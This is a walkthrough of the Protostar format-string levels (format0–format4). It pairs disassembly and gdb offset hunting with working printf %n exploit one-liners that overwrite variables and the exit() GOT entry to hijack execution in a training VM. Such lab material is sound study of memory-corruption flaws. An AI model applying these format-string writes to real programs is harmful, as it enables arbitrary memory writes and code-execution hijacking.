First of all, we take a look at the disassembly.
...
0x08048431 <main+6>: sub $0x10,%esp
0x08048434 <main+9>: mov 0xc(%ebp),%eax ; load pointer to the address of first argument
0x08048437 <main+12>: add $0x4,%eax ; increment to get to the pointer of the second argument
0x0804843a <main+15>: mov (%eax),%eax ; resolve pointer-pointer
0x0804843c <main+17>: mov %eax,(%esp) ; store at adress of esp
0x0804843f <main+20>: call 0x80483f4 <vuln>
...
0x080483fa <vuln+6>: movl $0x0,-0xc(%ebp)
0x08048401 <vuln+13>: mov 0x8(%ebp),%eax
0x08048404 <vuln+16>: mov %eax,0x4(%esp)
0x08048408 <vuln+20>: lea -0x4c(%ebp),%eax ; load address of target buffer
0x0804840b <vuln+23>: mov %eax,(%esp) ; load address of second argument
0x0804840e <vuln+26>: call 0x8048300 <sprintf@plt>
0x08048413 <vuln+31>: mov -0xc(%ebp),%eax
0x08048416 <vuln+34>: cmp $0xdeadbeef,%eax
0x0804841b <vuln+39>: jne 0x8048429 <vuln+53>
0x0804841d <vuln+41>: movl $0x8048510,(%esp)
0x08048424 <vuln+48>: call 0x8048330 <puts@plt>
...
So this program takes a startup argument. This input is then utilized in the sprintf at 0x0804840e. So to exploit this sample we have to perform a format string attack. The format string variable is located at EBP-0x4c. The variable for the challenge relevant comparison is located at EBP-0xc. So we need to write 64 bytes to align the payload of 0xdeadbeef. To write 64 bytes the format string expression %64x will suffice. Finally, we can complete the level with the following command.
user@protostar:/$ /opt/protostar/bin/format0 $(python -c 'print "%64x"+ "\xef\xbe\xad\xde"')
you have hit the target correctly :)
In this scenario we have to manipulate a specific location on the heap. Let’s examine the vuln function to get a better idea.
...
0x080483fa <vuln+6>: mov eax,DWORD PTR [ebp+0x8]
0x080483fd <vuln+9>: mov DWORD PTR [esp],eax
0x08048400 <vuln+12>: call 0x8048320 <printf@plt>
0x08048405 <vuln+17>: mov eax,ds:0x8049638
0x0804840a <vuln+22>: test eax,eax
0x0804840c <vuln+24>: je 0x804841a <vuln+38>
0x0804840e <vuln+26>: mov DWORD PTR [esp],0x8048500
0x08048415 <vuln+33>: call 0x8048330 <puts@plt>
...
The location in question is 0x08049638. The variable is located in the .data section, indicating a global variable.
Like the previous example the user can supply an argument for printf. This type of printf vulnerability allows direct parameter access. To overwrite the target we have to find the correct offset to skip. We can calculate rough estimate by looking at the following addresses.
(gdb) x/4x $esp
0xbffff5f0: 0xbffff843 0x0804960c 0xbffff628 0x08048469
(gdb) x/2s 0xbffff843
0xbffff843: "AAAA"
The required offset will be at round 0x141 bytes (0xbffff843 - 0xbffff5f0). This makes for about 149 words to skip. To get an exact number we can utilize the following command.
user@protostar:/opt/protostar/bin$ /opt/protostar/bin/format1 $(python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,150)])')
... 143:74616d72.144:41410031.145:3a314141.146:322e7825 ...
So the address is aligned between words 144 and 145. With an alignment we have identified the correct offset. The respective command to complete the level is as follows.
user@protostar:/$ //opt/protostar/bin/format1 $(python -c 'print "\x38\x96\x04\x08%144$n"')
This example is based on the previous level 1. First, we will take a look at the relevant parts of the assembly.
...
0x0804846e <vuln+26>: lea -0x208(%ebp),%eax
0x08048474 <vuln+32>: mov %eax,(%esp)
0x08048477 <vuln+35>: call 0x804835c <fgets@plt>
0x0804847c <vuln+40>: lea -0x208(%ebp),%eax
0x08048482 <vuln+46>: mov %eax,(%esp)
0x08048485 <vuln+49>: call 0x804837c <printf@plt>
0x0804848a <vuln+54>: mov 0x80496e4,%eax
0x0804848f <vuln+59>: cmp $0x40,%eax
0x08048492 <vuln+62>: jne 0x80484a2 <vuln+78>
...
Once again, we have to calculate the correct offset. For the estimate we take a look at the stack during runtime.
(gdb) x/2x $esp
0xbffff410: 0xbffff420 0x00000200
(gdb) x/2s 0xbffff420
0xbffff420: "aaa\n"
0xbffff425: ""
This makes for an offset of 0x10 bytes. We calculate the exact offset with previously discussed the method.
user@protostar:/$ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,10)])' | /opt/protostar/bin/format2
AAAA1:200.2:b7fd8420.3:bffff464.4:41414141.5:78253a31.6:253a322e.7:3a332e78.8:342e7825.9:2e78253a
target is 0 :(
Now we only need to go back 4 words to access to desired memory location.
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%4$n"' | /opt/protostar/bin/format2
target is 4 :(
The problem is, that we still need to set the value to 0x40. In fact printf stores the number of written bytes at the target offset. So we simply increase output size and voila:
user@protostar:/opt/protostar/bin$ python -c 'print "\xe4\x96\x04\x08%52x%x%4$n"' | /opt/protostar/bin/format2
200b7fd8420
you have modified the target :)
This example is once again based on the previous level. Let’s examine the changes in assembly for starters.
...
0x0804845a <printbuffer+6>: mov 0x8(%ebp),%eax
0x0804845d <printbuffer+9>: mov %eax,(%esp)
0x08048460 <printbuffer+12>: call 0x804837c <printf@plt>
...
0x08048475 <vuln+14>: mov %eax,0x8(%esp)
0x08048479 <vuln+18>: movl $0x200,0x4(%esp)
0x08048481 <vuln+26>: lea -0x208(%ebp),%eax
0x08048487 <vuln+32>: mov %eax,(%esp)
0x0804848a <vuln+35>: call 0x804835c <fgets@plt>
0x0804848f <vuln+40>: lea -0x208(%ebp),%eax
0x08048495 <vuln+46>: mov %eax,(%esp)
0x08048498 <vuln+49>: call 0x8048454 <printbuffer>
0x0804849d <vuln+54>: mov 0x80496f4,%eax
0x080484a2 <vuln+59>: cmp $0x1025544,%eax
0x080484a7 <vuln+64>: jne 0x80484b7 <vuln+80>
...
The fgets() call is restricted with a length restriction. Also, the printf() function is encapsulated in a function call. Finally, to complete the level the the global variable at 0x080496f4 has to be manipulated. The value has to be set to 0x01025544.
We try to narrow down the correct offset to access the target memory location.
(gdb) x/2x $esp
0xbffff3f0: 0xbffff420 0x00000000
(gdb) x/4s 0xbffff420
0xbffff420: "aaaa%x\n"
0xbffff428: "$\365\377\267"
This makes for an offset of 0x10 bytes. We calculate the exact offset with previously discussed the method.
user@protostar:/$ python -c 'print "AAAA"+".".join(["%d:%%x" % i for i in range(1,15)])'`" | /opt/protostar/bin/format3
AAAA1:0.2:bffff420.3:b7fd7ff4.4:0.5:0.6:bffff628.7:804849d.8:bffff420.9:200.10:b7fd8420.11:bffff464.12:41414141.13:78253a31.14:253a322e
target is 00000000 :(
So the respective command to overwrite the target buffer is as follows.
user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"%12$n"' | /opt/protostar/bin/format3
target is 00000004 :(
The required value in the target buffer cannot be set with one write operation. The simplest way is to set every byte seperatly.
user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%01x%12$n"+"%17x%13$n"+"%17x%14$n"+"%17x%15$n"' | /opt/protostar/bin/format3
���0 bffff420 b7fd7ff4 0
target is 44332211 :(
Now we just have to adjust every offset to match the desired value. To do this, we adjust the printed bytes before every write to memory.
user@protostar:/$ python -c 'print "\xf4\x96\x04\x08"+"\xf5\x96\x04\x08"+"\xf6\x96\x04\x08"+"\xf7\x96\x04\x08"+"%52x%12$n"+"%17x%13$n"+"%173x%14$n"+"%255x%15$n"' | /opt/protostar/bin/format3
...
you have modified the target :)
For this exercise we have to manipulation the execution flow. In partiuclar, we have to execute the hello() function at 0x080484b4. The assembly directly points out where we have to start working.
0x080484b4 <hello+0>: push ebp
0x080484b5 <hello+1>: mov ebp,esp
0x080484b7 <hello+3>: sub esp,0x18
0x080484ba <hello+6>: mov DWORD PTR [esp],0x80485f0
0x080484c1 <hello+13>: call 0x80483dc <puts@plt>
0x080484c6 <hello+18>: mov DWORD PTR [esp],0x1
0x080484cd <hello+25>: call 0x80483bc <_exit@plt>
...
0x080484db <vuln+9>: mov eax,ds:0x8049730
0x080484e0 <vuln+14>: mov DWORD PTR [esp+0x8],eax
0x080484e4 <vuln+18>: mov DWORD PTR [esp+0x4],0x200
0x080484ec <vuln+26>: lea eax,[ebp-0x208]
0x080484f2 <vuln+32>: mov DWORD PTR [esp],eax
0x080484f5 <vuln+35>: call 0x804839c <fgets@plt>
0x080484fa <vuln+40>: lea eax,[ebp-0x208]
0x08048500 <vuln+46>: mov DWORD PTR [esp],eax
0x08048503 <vuln+49>: call 0x80483cc <printf@plt>
0x08048508 <vuln+54>: mov DWORD PTR [esp],0x1
0x0804850f <vuln+61>: call 0x80483ec <exit@plt>
So we have to manipulate the final call to exit(). Let’s examine the respective instructions.
(gdb) x/i $eip
0x804850f <vuln+61>: call 0x80483ec <exit@plt>
(gdb) x/3i 0x80483ec
0x80483ec <exit@plt>: jmp DWORD PTR ds:0x8049724
0x80483f2 <exit@plt+6>: push 0x30
0x80483f7 <exit@plt+11>: jmp 0x804837c
(gdb) x/x 0x8049724
0x8049724 <_GLOBAL_OFFSET_TABLE_+36>: 0x080483f2
We have to write the target address of hello() to 0x08049724. First, we identify the offset for our address. This time we use gdb to do just that.
(gdb) x/12x $esp
0xbffff410: 0xbffff420 0x00000200 0xb7fd8420 0xbffff464
0xbffff420: 0x61616161 0x0000000a 0xb7fff524 0x00000000
0xbffff430: 0xb7fff524 0xbffff4c0 0xb7fe35c9 0x00000007
We already had the address of the target buffer. Also, the desired value for the target buffer is clear. With an offset of 4 we now can continue.
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08"+ "\x25\x97\x04\x08"+ "\x26\x97\x04\x08"+ "\x27\x97\x04\x08"+ "%164x%4$n"+ "%208x%5$n"+ "%128x%6$n"+ "%4c%7$n"' | /opt/protostar/bin/format4
...
code execution redirected! you win
With the reuse of the existing address we can optimze the size. To do this, we have to utilize the short write hf for printf. This reduces the overall length of the command to complete this exercise.
user@protostar:/opt/protostar/bin$ python -c 'print "\x24\x97\x04\x08"+ "%33968c%4$hn"' | /opt/protostar/bin/format4
...
code execution redirected! you win